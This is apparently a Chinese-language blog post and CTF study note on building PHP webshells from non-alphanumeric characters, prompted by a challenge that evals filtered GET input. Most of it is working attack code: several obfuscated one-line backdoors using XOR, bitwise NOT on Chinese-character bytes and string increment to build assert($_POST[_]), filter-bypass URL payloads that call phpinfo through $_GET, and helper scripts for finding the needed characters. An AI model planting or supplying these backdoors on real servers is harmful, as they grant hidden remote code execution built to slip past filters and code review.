无字母数字构造webshell的学习

[toc]

前言

最近碰到一道题,便学习了一下相关无字母数字构造webshell的知识。题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

题目中可以看到字母和数字是没法使用的,而且payload长度必须在40以内。我们需要绕过正则过滤,利用不可见字符或者正则表达式遗漏的字符通过各种变换来构造出a-z中的任意一个字符,并且长度小于40,然后再利用php允许动态函数执行的特点,拼接出一个函数名,然后动态执行之即可。
那么,我们现在的问题就是如何通过各种变换,是的我们能够成功构造出所需的函数,然后拿到webshell。

前置知识

php5和7的差异:

php5中assert是一个函数,我们可以通过$f=’assert’;$f(…);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。

php特性

(1)代码中没有引号的字符都自动作为字符串
我猜这也是为什么传马的时候$_GET['cmd']$_GET[cmd]都可以

(2)Ascii码大于 0x7F 的字符都会被当作字符串

(3)php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型

(4)在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理
所以有${_GET}{cmd}

不使用数字字母构造数字

利用了php弱类型的特性,true的值为1,所以true+true==2。

1
2
$__=('>'>'<')+('>'>'<');  //$__=2
$_=$__/$__; //$_=1

在php中未定义的变量默认值为null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

1
2
3
<?php
$_++;
//$_=1

也可以用!操作符来进行布尔类型的转换。

1
2
3
4
<?php
echo !$_;
//这个代码将输出1
?>

构造webshell

构造无字母数字webshell一般用到下面这几种方法:

异或

在php中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,想得到a-z中的某个字母,就找到某两个非字母、数字的字符,他们异或的结果是这个字母即可。

1
2
3
4
5
<?php
echo "A"^"?";
?>

运行结果:~

输出的结果是字符”~”,这是因为代码对字符”A”和字符”?”进行了异或操作。在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。
例如下面这个php后门:

1
2
3
4
5
6
<?php
$_=(':'^'[').('('^'[').('('^'[').('>'^'[').(')'^'[').('/'^'['); // $_='assert';
$__='_'.('+'^'{').('/'^'`').('('^'{').('/'^'{'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

执行结果如下:

取反

来看一个汉字”和”

1
2
3
4
5
6
>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141

“和”的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
因此

1
2
3
4
5
6
7
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
两个写法性质一样
结果会输出: ss

py脚本:

1
2
3
4
5
6
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print(hexbit)

get('phpinfo')
#0x8f0x970x8f0x960x910x990x90

直接贴出p神的webshell吧

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<'); //$__=2
$_=$__/$__; //$_=1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); //assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); //_POST

$_=$$_____; //$_POST
$____($_[$__]); //assert($_POST[2])

这里也有一种简短的写法${~”\xa0\xb8\xba\xab”}它等于$_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。

利用字符串自增/自减

php的小技巧,先看文档:https://www.php.net/manual/zh/language.operators.increment.php

也就是说,’a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

1
2
3
4
5
<?php
$_=[];
$_=@"$_"; // $_='Array';
echo $_[0].$_[3];
// 输出Aa

再加上我们不适用数字构造出的数字,写出下面这个webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?
$_=[];
$_=@"$_"; // $_='Array';
$_=$_[('('=='=')]; // $_=$_[0];$_=A;
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__; // E
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // R
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // T
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
@$___($_[_]);

执行成功:

payload

在上面那道题中有一个payload是这样的:

1
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

这里利用了php7中执行动态函数的方法,在php5中是执行不成功的,我们来拆解分析一下payload:

1
2
3
4
5
6
7
8
%ff ^ %160 = _
%ff ^ %184 = G
%ff ^ %186 = E
%ff ^ %171 = T
%ff%ff%ff%ff^%a0%b8%ba%ab = _GET
${%ff%ff%ff%ff^%a0%b8%ba%ab} = $_GET
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff} = $_GET{%ff}
phpinfo()

这里放出一个fuzz脚本,帮助快速找到异或的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
$payload = '';
$argv = str_split('_GET');

for ($i=0; $i < count($argv); $i++) {
for ($j=0; $j < 255; $j++) {
$k = chr($j)^chr(255); //dechex(255)=0xff
if($k == $argv[$i]){
echo "%ff ^ %".$j." = ".$k."<br>";
$payload .= '%'.dechex($j);
}
}
}
echo $payload;

还有一个payload是这样的,这个是取反:

1
(~%8F%97%8F%96%91%99%90)();

还有这个payload,也是取反:

1
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=phpinfo

这个是~在{}中执行了取反操作,所以${~”\xa0\xb8\xba\xab”}取反相当于$_GET。

脚本总结

寻找异或字符脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$payload = [writelist];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
if($exp=='_G'){
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
if($exp=='ET'){
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
}

寻找取反字符脚本

1
2
3
4
5
6
7
```
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print(hexbit)

get('phpinfo')
//0x8f0x970x8f0x960x910x990x90

```